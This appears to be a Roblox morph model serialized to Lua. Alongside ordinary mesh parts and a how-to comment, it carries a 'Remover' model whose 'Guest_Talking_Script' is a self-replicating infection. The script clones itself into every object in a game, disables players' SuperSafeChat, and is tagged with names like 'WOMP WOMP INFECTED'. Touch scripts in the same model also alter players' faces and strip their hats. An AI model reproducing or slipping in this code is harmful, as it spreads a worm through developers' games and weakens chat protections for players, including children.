- Part48.Rotation = Vector3.new(-67.5, -90, 0)
- Part48.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part48.Size = Vector3.new(4, 1, 2)
- Part48.Anchored = true
- Part48.BrickColor = BrickColor.new("Institutional white")
- Part48.Material = Enum.Material.SmoothPlastic
- Part48.brickColor = BrickColor.new("Institutional white")
- SpecialMesh49.Parent = Part48
- SpecialMesh49.MeshId = "rbxassetid://430828139"
- SpecialMesh49.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh49.TextureId = "rbxassetid://430828141"
- SpecialMesh49.MeshType = Enum.MeshType.FileMesh
- Part50.Name = "Hand"
- Part50.Parent = Model46
- Part50.CFrame = CFrame.new(30.2513714, 2.27415705, -7.3379488, 0, -1, 0, 0.38268292, 0, 0.923879743, -0.923879743, 0, 0.38268292)
- Part50.Orientation = Vector3.new(-67.5, 0, 90)
- Part50.Position = Vector3.new(30.2513714, 2.27415705, -7.3379488)
- Part50.Rotation = Vector3.new(-67.5, 0, 90)
- Part50.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part50.Size = Vector3.new(4, 1, 2)
- Part50.Anchored = true
- Part50.BrickColor = BrickColor.new("Institutional white")
- Part50.Material = Enum.Material.SmoothPlastic
- Part50.brickColor = BrickColor.new("Institutional white")
- SpecialMesh51.Parent = Part50
- SpecialMesh51.MeshId = "rbxassetid://430829946"
- SpecialMesh51.Scale = Vector3.new(1.29999995, 1.29999995, 1.29999995)
- SpecialMesh51.MeshType = Enum.MeshType.FileMesh
- Part52.Name = "Glove"
- Part52.Parent = Model46
- Part52.CFrame = CFrame.new(30.2813797, 2.89300895, -7.19922018, 0, 0, -1, -0.923879743, -0.38268292, 0, -0.38268292, 0.923879743, 0)
- Part52.Orientation = Vector3.new(0, -90, -112.5)
- Part52.Position = Vector3.new(30.2813797, 2.89300895, -7.19922018)
- Part52.Rotation = Vector3.new(112.5, -90, 0)
- Part52.Color = Color3.new(0.239216, 0.0823529, 0.521569)
- Part52.Size = Vector3.new(4, 1, 2)
- Part52.Anchored = true
- Part52.BrickColor = BrickColor.new("Dark indigo")
- Part52.Material = Enum.Material.SmoothPlastic
- Part52.brickColor = BrickColor.new("Dark indigo")
- SpecialMesh53.Parent = Part52
- SpecialMesh53.MeshId = "rbxassetid://430827901"
- SpecialMesh53.Scale = Vector3.new(0.150000006, 0.150000006, 0.150000006)
- SpecialMesh53.TextureId = "rbxassetid://430827902"
- SpecialMesh53.MeshType = Enum.MeshType.FileMesh
- Script54.Name = "Instructions"
- Script54.Parent = Model1
- table.insert(cors,sandbox(Script54,function()
- --[[how to make a morph that works with meshes and unions!
- take a regular brick, make it look like whatever you want,
- put it on the person where you want it to be,
- and put it in the model inside the morph that the brick is on
- its that easy!
- Credit to blockgun
- ~hiimcool34]]
- end))
- Model55.Name = "Remover"
- Model55.Parent = Model1
- Part56.Name = "Smooth Block Model"
- Part56.Parent = Model55
- Part56.CFrame = CFrame.new(26.7818394, 1.29576099, -6.28301382, 0, -3.79999983e-05, -1, -5.50000004e-05, 1, -3.79999983e-05, 1, 5.50000004e-05, -2.08999995e-09)
- Part56.Orientation = Vector3.new(0, -90, 0)
- Part56.Position = Vector3.new(26.7818394, 1.29576099, -6.28301382)
- Part56.Rotation = Vector3.new(0, -90, 0)
- Part56.Color = Color3.new(0.156863, 0.498039, 0.278431)
- Part56.Transparency = 1
- Part56.Size = Vector3.new(4, 0.400000006, 4)
- Part56.Anchored = true
- Part56.BottomSurface = Enum.SurfaceType.Smooth
- Part56.BrickColor = BrickColor.new("Dark green")
- Part56.CanCollide = false
- Part56.TopSurface = Enum.SurfaceType.Smooth
- Part56.brickColor = BrickColor.new("Dark green")
- Part56.FormFactor = Enum.FormFactor.Plate
- Part56.formFactor = Enum.FormFactor.Plate
- Sound57.Name = "Victory"
- Sound57.Parent = Part56
- Sound57.EmitterSize = 0
- Sound57.MinDistance = 0
- Sound57.Pitch = 0
- Sound57.PlaybackSpeed = 0
- Sound57.SoundId = "rbxasset://sounds/victory.wav"
- Sound57.Volume = 0
- Script58.Parent = Part56
- table.insert(cors,sandbox(Script58,function()
- -- declarations
- local head = script.Parent
- local sound = head:findFirstChild("Victory")
- function onTouched(part)
- local h = part.Parent:findFirstChild("Humanoid")
- if h~=nil then
- sound:play()
- if part.Parent:findFirstChild("Head"):findFirstChild("face").Texture == nil then return end
- part.Parent:findFirstChild("Head"):findFirstChild("face").Texture="717dea9c5a1659640155f77c84892c " end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Model59.Name = ""
- Model59.Parent = Model55
- Part60.Name = "Head"
- Part60.Parent = Model59
- Part60.CFrame = CFrame.new(26.8823204, 1.20482802, -5.94327784, -1, 3.79999983e-05, -2.08999995e-09, 3.79999983e-05, 1, -5.50000004e-05, 0, -5.50000004e-05, -1)
- Part60.Orientation = Vector3.new(0, -180, 0)
- Part60.Position = Vector3.new(26.8823204, 1.20482802, -5.94327784)
- Part60.Rotation = Vector3.new(180, 0, -180)
- Part60.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part60.Transparency = 0.98000001907349
- Part60.Size = Vector3.new(1, 0.400000006, 1)
- Part60.Anchored = true
- Part60.BrickColor = BrickColor.new("Institutional white")
- Part60.brickColor = BrickColor.new("Institutional white")
- Part60.FormFactor = Enum.FormFactor.Plate
- Part60.formFactor = Enum.FormFactor.Plate
- Humanoid61.Parent = Model59
- Humanoid61.Health = 0
- Humanoid61.MaxHealth = 0
- Humanoid61.NameOcclusion = Enum.NameOcclusion.NoOcclusion
- Humanoid61.maxHealth = 0
- RotateP62.Name = "d��������������ng.........you got owned..."
- RotateP62.Parent = Model59
- RotateP62.BaseAngle = 0.25
- Script63.Name = "Guest_Talking_Script"
- Script63.Parent = Model59
- table.insert(cors,sandbox(Script63,function()
- if (script.Parent == workspace) then
- function checkForAndSwitch(player)
- if (player.SuperSafeChat == true) then
- player.SuperSafeChat = false;
- wait(5);
- local m = Instance.new("Message");
- m.Text = "Press the / key to start typing.";
- m.Parent = player;
- wait(5);
- m.Text = "Then press Enter to send your message.";
- wait(5);
- m:Remove();
- m = nil;
- end
- player = nil;
- collectgarbage("collect");
- end
- function onChildAddedToPlayers(obj)
- if (obj.className == "Player") then
- checkForAndSwitch(obj);
- local m = Instance.new("Message");
- m.Text = "welcome me place!!!";
- m.Parent = obj;
- wait(5);
- m:Remove();
- m = nil;
- end
- obj = nil;
- collectgarbage("collect");
- end
- function onChildAddedToWorkspace(obj)
- if (obj.className == "Model") then
- if (game.Players:playerFromCharacter(obj) ~= nil) then
- checkForAndSwitch(game.Players:playerFromCharacter(obj));
- end
- end
- obj = nil;
- collectgarbage("collect");
- end
- function findLowestLevel(obj)
- local c = obj:GetChildren();
- local lowestLevel = true;
- for i, v in pairs(c) do
- if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
- lowestLevel = false;
- wait();
- findLowestLevel(v);
- end
- end
- if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
- if (obj ~= game.Lighting and obj ~= game.StarterPack) then
- local s = script:Clone();
- s.Parent = obj;
- end
- end
- end
- findLowestLevel(game);
- game.Players.ChildAdded:connect(onChildAddedToPlayers);
- game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
- else
- local findScript = workspace:FindFirstChild(script.Name);
- if (findScript == nil) then
- local s = script:Clone();
- s.Parent = workspace;
- end
- end
- --[[function findAllCopies(obj)
- local c = obj:GetChildren();
- for i, v in pairs(c) do
- if (v.Name == script.Name and v.className == "Script" and v ~= script) then
- v.Parent = nil;
- elseif (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
- findAllCopies(v);
- end
- end
- end
- findAllCopies(game);
- script.Parent = nil;]]
- end))
- RotateP64.Name = "FeelFreeToIns3rtGramm�tic�lErrorsHere"
- RotateP64.Parent = Script63
- RotateP65.Name = "mark1023"
- RotateP65.Parent = Script63
- Weld66.Name = "WOMP WOMP INFECTED"
- Weld66.Parent = Script63
- Weld67.Name = "mean774"
- Weld67.Parent = Script63
- Weld68.Name = "J0HN"
- Weld68.Parent = Model55
- Weld69.Name = "J0HN"
- Weld69.Parent = Model55
- Part70.Name = "HatRemover"
- Part70.Parent = Model55
- Part70.CFrame = CFrame.new(26.7848167, 1.24583602, -6.47461414, -1, -2.08999995e-09, 3.79999983e-05, 3.79999983e-05, -5.50000004e-05, 1, 0, 1, 5.50000004e-05)
- Part70.Orientation = Vector3.new(-90, 180, 0)
- Part70.Position = Vector3.new(26.7848167, 1.24583602, -6.47461414)
- Part70.Rotation = Vector3.new(-90, 0, 180)
- Part70.Color = Color3.new(0.294118, 0.592157, 0.294118)
- Part70.Transparency = 1
- Part70.Size = Vector3.new(4.00999975, 3.53000069, 1)
- Part70.Anchored = true
- Part70.BrickColor = BrickColor.new("Bright green")
- Part70.CanCollide = false
- Part70.brickColor = BrickColor.new("Bright green")
- Script71.Parent = Part70
- table.insert(cors,sandbox(Script71,function()
- function onTouched(hit)
- if hit.Parent.className == "Hat" then
- hit.Parent:Remove()
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Fire72.Parent = Part70
- Fire72.Color = Color3.new(1, 0.741176, 0)
- Fire72.Enabled = false
- Fire72.Size = 30
- Fire72.Heat = 25
- Fire72.SecondaryColor = Color3.new(1, 0, 0)
- Fire72.size = 30
- Script73.Name = "HatRemover"
- Script73.Parent = Part70
- table.insert(cors,sandbox(Script73,function()
- function onTouched(hit)
- local d = hit.Parent:GetChildren()
- for i=1, #d do
- if (d[i].className == "Hat") then
- d[i]:remove()
- end
- end
- end
- script.Parent.Touched:connect(onTouched)
- end))
- Camera74.Name = "ThumbnailCamera"
- Camera74.Parent = Model1
- Camera74.CFrame = CFrame.new(-17.6471558, 3.49692059, 19.6756611, -0.0481794588, 0.0123583535, 0.99876225, -5.82076609e-11, 0.999923468, -0.0123727219, -0.998838723, -0.000596111116, -0.0481757708)
- Camera74.CoordinateFrame = CFrame.new(-17.6471558, 3.49692059, 19.6756611, -0.0481794588, 0.0123583535, 0.99876225, -5.82076609e-11, 0.999923468, -0.0123727219, -0.998838723, -0.000596111116, -0.0481757708)
- Camera74.Focus = CFrame.new(-19.6446819, 3.52166605, 19.7720127, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Camera74.focus = CFrame.new(-19.6446819, 3.52166605, 19.7720127, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement